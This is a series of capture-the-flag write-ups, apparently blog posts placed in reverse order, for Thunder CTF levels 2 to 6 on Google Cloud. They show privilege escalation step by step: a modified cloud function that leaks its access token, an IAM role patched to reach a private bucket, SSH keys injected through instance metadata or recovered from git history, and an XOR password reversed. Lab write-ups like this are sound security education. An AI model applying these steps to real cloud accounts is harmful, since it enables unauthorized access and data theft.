https://www.googleapis.com/storage/v1/b/<bucket-name>/o/secret.txt?alt=media

We got the secret value from the secret.txt file.

This marks the end of Thunder-CTF’s level-6.

Have you checked my writeup for previous levels? If not, here are the links:

• Solving Thunder CTF: Level 01

• Solving Thunder CTF: Level 02

• Solving Thunder CTF: Level 03

• Solving Thunder CTF: Level 04

Starting level-5 of Thunder-CTF:

python3 thunder.py create thunder/a5power

First, we will check the permissions associated with the service account

python scripts/test-permissions.py start/a5-access.json

This service account has many permissions for the cloud function service—listing, describing, updating, etc.

We will now list the cloud functions:

gcloud functions list

Since the cloud function is active, we will describe it

gcloud functions describe a5-func-366435738976

In this description, we can see the URL of the HTTPS trigger. We will try to trigger this cloud function using the given URL:

We can see that it’s giving a 403 forbidden error, saying the client doesn’t have permission. We have to pass the authorization token with the request.

Let’s try hitting the function with our service account’s identity token

gcloud auth print-identity-token

The output is just “Hello World!“. Not of much use. We’ll investigate further.

We have another URL that contains the source code, but since this user doesn’t have the cloudfunctions.functions.sourceCodeGet, we can’t get the source code. But it has the permission to set the source code cloudfunctions.functions.sourceCodeSet.

We’ll use that permission to modify the source code of the cloud function.

Cloud functions have a runtime service account attached. This service account’s permissions can differ from those of the identities deploying or invoking the function.

Let’s modify the cloud function’s code to return the access token when invoked. We will add a Python script that returns the cloud function’s access code when invoked from an HTTP URL.

mkdir code_modif
nano code_modif/main.py
nano code_modif/requirements.txt

Using the nano editor, we have added the code to get the access token corresponding to the cloud function

In requirements.txt, we added the requests library as a dependency and deploy.

Now we will deploy the modified code

gcloud functions deploy a5-func-366435738976 --source=./code_modif/ --trigger-http

We updated our cloud function with custom code. Now, we can send requests to the HTTP URL to invoke the function, which will run the updated code.

Again, call the cloud function using the HTTPS URL by passing the service account’s identity token with it.

We can see the cloud function’s access token. Now, we will check for its permission, which we got as the output.

These are the permissions related to the cloud function, which differs from the service account’s permissions.

Now we can see that this cloud function’s access token has permission for iam.roles.get, iam.roles.list, and iam.roles.update. We will use these permissions to grant our service account access to the private storage bucket. (Remember, the challenge description told us the secret is in a private storage bucket?)

We can get the list of IAM policies by making a POST request to this URL https://cloudresourcemanager.googleapis.com/v1/projects/{resource}:getIamPolicy, by setting the cloud function’s access token as the bearer token.

https://cloudresourcemanager.googleapis.com/v1/projects/{resource}:getIamPolicy

We can see a list of IAM policies associated with the project cloudsecurityclub-dev. We’ll check the policies for the given service account and try modifying it to access the storage bucket. (.list and .get permission)

The following role is associated with our service account.

We can check the service account name by running this command:

gcloud auth list

We can see the service account is a5-access@cloudsecurityclub-dev.iam.gserviceaccount.com

We can bind new roles to a service account with a POST request, but we need a PATCH request to modify an existing role instead.

So, we’ll use the PATCH request to update the roles associated with the service account.

PATCH request on this URL:

https://iam.googleapis.com/v1/projects/cloudsecurityclub-dev/roles/a5_access_role_366435738976?updateMask=includedPermissions

We received the 200 OK status code, so the service account’s permissions are updated.

Now, we will try to list the private buckets

gsutil ls

We can now see the bucket and will list the contents of it

gsutil ls gs://a5-bucket-366435738976/

We will copy the contents of the bucket in the root directory.

gsutil cp -r gs://a5-bucket-366435738976 .

We can see secrets.txt there, which is what we wanted to find.

Let’s look at the contents of this file:

cat secret.txt

And we finally got our secret value.

This marks the end of Thunder-CTF’s level-5.

If you want to read more about GCP misconfigurations, check out Thunder CTF Level 6 write-up!

Have you checked my writeup for previous levels? If not, here are the links:

• Solving Thunder CTF: Level 01

• Solving Thunder CTF: Level 02

• Solving Thunder CTF: Level 03

Let’s get started with level 4:

python3 thunder.py create thunder/a4error

gcloud auth activate-service-account --key-file=start/a4-access.json

We will first look into the permissions of the service account related to the level-4 challenge.

python scripts/test-permissions.py start/a4-access.json

The service account has diverse permissions for the cloud logging, cloud functions, and compute instances.

We’ll explore them one by one.

Firstly, we’ll find the running compute instance.

gcloud compute instances list

Next, we’ll describe this instance as the user has “compute.instances.get” permission, which will help us analyze it better.

gcloud compute instances describe a4-instance --zone-us-west1-b

We can’t find any potential leads from this information, but we will try to find the clues to get into the compute instance

Next, we’ll explore cloud functions:

gcloud functions list

We can see a cloud function running, but the service account doesn’t have permission to describe this cloud function (as you can see, cloudfunctions.functions.get permission is missing)

However, one thing to note is that it has an HTTP trigger, so we can invoke this cloud function using HTTP requests.

We must form the HTTP URL using the following URL format to invoke the cloud function.

https://REGION-PROJECT_ID.cloudfunctions.net/FUNCTION_NAME

The permissions of our service account a4-access didn’t have the permission cloudfunctions.functions.invoke. So, it can’t invoke all cloud functions in the account. However, there’s a slight possibility that this service account was explicitly granted the invoke permission from the function level (with the help of cloud function level IAM Policy Bindings).

Let’s try to invoke the cloud function by passing our service account’s identity token. (We can generate it using the command: gcloud auth print-identity-token)

I am passing this newly generated identity token to ensure authentication.

It worked. The cloud function has explicitly granted invoke access to our service account. Since this function takes another argument, the file, we’ll try to provide a dummy value for the argument and curl the URL again.

https://REGION-PROJECT_ID.cloudfunctions.net/FUNCTION_NAME?file=hello2.txt

It gave the error because there was no file like hello2.txt in the cloud function.

Also, as said, this specific user has a lot of permissions associated with the cloud logging service. We will explore them now.

We see a bearer token is present in the logs. This token differs from the identity token we passed to the cloud function.

Let’s try to find out how much access this hardcoded token has.

We will again run the test_permission.py script with the hardcoded token from logs to get the permissions associated with this access token.

python scripts/test-permissions.py <bearer_token>

We can see that this access token has the permission to compute.instances.setMetadata. Our main aim was to get access to the compute instance running so that we could search for the secret inside the instance.

We will update the compute instance metadata to get into the VM. We can set the ssh_key parameter in the metadata of the compute instance so that we can try to access it by logging into it using SSH

Firstly, we will generate temporary SSH keys using the command:

ssh-keygen -t rsa -b 4096

Then set the key name to ssh_key_level4

It will generate private and public keys, respectively

We can see public and private keys got created:

Now, we will add the public key of this generated SSH key to the metadata of the compute instance

To add the custom metadata to the compute instance, we need to input the fingerprint value of the instance also (which we can refer to the compute instance details when we describe it).

We will set the metadata by sending a POST request to the setMetadata URL. The following post body contains the public SSH key and the corresponding fingerprint value.

Now, let’s make the POST request with the authorization token.

https://www.googleapis.com/compute/v1/projects/<your_project_id>/zones/<enter_the_zone>/instances/<name_of_instance>/setMetadata

It gives a 200 OK response, which indicates that the SSH public key we passed in the URL is successfully added to the metadata – granting us SSH access.

Now, we can log in to the compute instance over SSH using the private SSH key.

ssh -i <key> username@<external_ip_address>

Once logged in to the compute instance, we will navigate through the instance and get the secret value.

We found the secret value.

This marks the end of Thunder-CTF’s level-4.

If you want to read more about GCP misconfigurations, check out Thunder CTF Level 5 write-up!

Have you checked my write-up for previous levels? If not, here are the links:

• Solving Thunder CTF: Level 01

• Solving Thunder CTF: Level 02

Let’s get started with level 3:

python3 thunder.py create thunder/a3password

We will now check this service account’s permissions using the Python script in the Thunder CTF repo.

python scripts/test-permissions.py start/a3-access.json

As we can see, all the permissions are related to Google’s cloud functions service. We will move towards cloud functions for further investigation.

Since the service account has cloudfunctions.functions.sourceCodeGet permission, we can get the source code of the cloud function.

Listing the Google Cloud function, using the command:

gcloud functions list

Describing the cloud function:

gcloud functions describe a3-func-293057166056

We got the XOR password from the environment variables for the cloud function described above. The output suggests that the cloud function might be encrypted using XOR encryption, a simple symmetric encryption.

The XOR password is the encryption key for XOR encryption. In this type of encryption, the plaintext is bit-wise XORed with the key, and then we get the ciphertext. To get back plaintext data, simply XOR the ciphertext with the corresponding bits of the key that were used to encrypt it

Let’s try accessing the function using the httpsTrigger link. We get the following unauthenticated error.

We need to pass an authentication token with the URL to fix this.

gcloud auth list

The currently active account is the service account created for this level. (* mark indicates that this account is currently active)

We need to get the identity token for this service account, which we can simply get using:

gcloud auth print-identity-token

Now, we will curl the cloud function URL we got, using the above identity token as the bearer token.

The output displays that we need to pass a password argument in this URL to access the cloud function.

We will pass some dummy passwords as arguments in this URL and see what will happen.

https://us-central1-cloudsecurityclub-dev.cloudfunctions.net/a3-func-293057166056?password=hello12

The response tells us that the password is an integer.

Let’s get the source code of the cloud function and understand its logic before proceeding with the attack.

We make a post request to the URL to download the source code of cloud function along with the access token of the service account. The response will provide a URL to download the source code.

https://cloudfunctions.googleapis.com/v1/projects/cloudsecurityclub-dev/locations/us-central1/functions/a3-func-293057166056:generateDownloadUrl

By visiting the link, we will download the zip file containing the source code.

These are the files in the zip folder: main.py and requirements.txt.

In main.py, we can see that ( password ^ XOR_FACTOR == XOR_PASSWORD ), which tells us XOR_PASSWORD in the environment variable is checking for the XOR of XOR_FACTOR and password.

Which indirectly tells us that, XOR_PASSWORD = password ^ XOR_FACTOR

Let’s find the password!

• When we described the cloud function earlier, we got XOR_PASSWORD (value was 569436999751)

• In this cloud function code (main.py), we have XOR_FACTOR (value was 347808535942)

• We can find the password by doing

  • Given: Plaintext Password ^ XOR_FACTOR = XOR_PASSWORD

  • Password (Plaintext) = XOR_FACTOR ^ XOR_PASSWORD

• So the password in our case will be 347808535942 ^ 569436999751, which gives password = 912380003777

We will now append this password to the URL and try to access the Google Cloud function by passing it.

This gives us the secret value and marks the end of Level 3.

If you want to read more about GCP misconfigurations, check out my Thunder CTF Level 4 write-up!

Have you checked out my writeup for Thunder CTF: Level 01?

Let’s get started with Level 02 challenge:

python3 thunder.py create thunder/a2finance

Below is the list of permissions for the service account:

python scripts/test-permissions.py start/a2-access.json

We can see this service account has the compute.instances.get permission, which allows us to retrieve the information about the compute instances

We can see the running instances with the below command:

gcloud compute instances list

We can now get the information about the instance with the help of the below command:

gcloud compute instances describe a2-logging-instance --zone=us-west1-b

This service account can get information about the IP address of the compute instance and the username (clouduser) whose public SSH key is in the instance’s metadata. Once anyone gets the SSH private key corresponding to the public key, they can log into the compute instance using SSH.

Now, coming to the storage bucket that this user can access:

gsutil ls

We will use the below command to list the content of the bucket:

gsutil ls gs://a2-bucket-311610379267/

We will list all the files in the storage bucket

gsutil ls -r gs://a2-bucket-311610379267/

These files can contain potential information (like source code, etc.). This folder also contains a git repository as .git folder is present inside it. We will now copy all the files from this bucket to the current working directory in the shell to analyze them

gsutil cp -r gs://a2-bucket-311610379267/ .

Listing things to confirm successful copy

ls

Now traversing to the bucket directory (a2-bucket-329613384102) which is created and listing the changes in the repository using:

git log --name-only

One git commit shows the message: oops, deleted accidental key upload, and the file ssh_key was part of the change.

The author accidentally uploaded the SSH key and committed it to the git repo. Then, in a later commit, he deletes that file from the git repository. So, we will check the previous branch and search for the ssh_key.

We will check the previous commit in which ssh_key file existed.

git checkout <COMMIT_HASH>

cat ssh_key

Now, since we have the private SSH key and the external IP of the instance, we can log in to the instance using these and investigate further.

First we will modify the permission of this ssh_key using:

chmod 400 ssh_key

Then we will use SSH to login into the compute instance using:

ssh -i ssh_key clouduser@<EXTERNAL_IP>

The instance name is a2-logging-instance, so the first thing that comes to our mind is that this instance may have something related to logging.

We will try to list the logs for the compute instance

gcloud logging logs list

We will analyze the log entries related to transactions, since it can have transaction details which can give us the credit card number, with the below command

gcloud logging read "logName:\"projects/cloudsecurityclub-dev/logs/transactions\""

We can see a lot of entries for the credit card number of a bunch of people. To solve the challenge, we had to find the credit card number “JIMMY NGUYEN.”

We will use the grep command to find the entry for ‘JIMMY NGUYEN’

gcloud logging read projects/cloudsecurityclub-dev/logs/transactions | grep -C 5 'JIMMY'

We can see JIMMY_NGUYEN’s credit card number – marking the end of level 2.

If you want to read more about GCP misconfigurations, check out my Thunder CTF Level 3 write-up!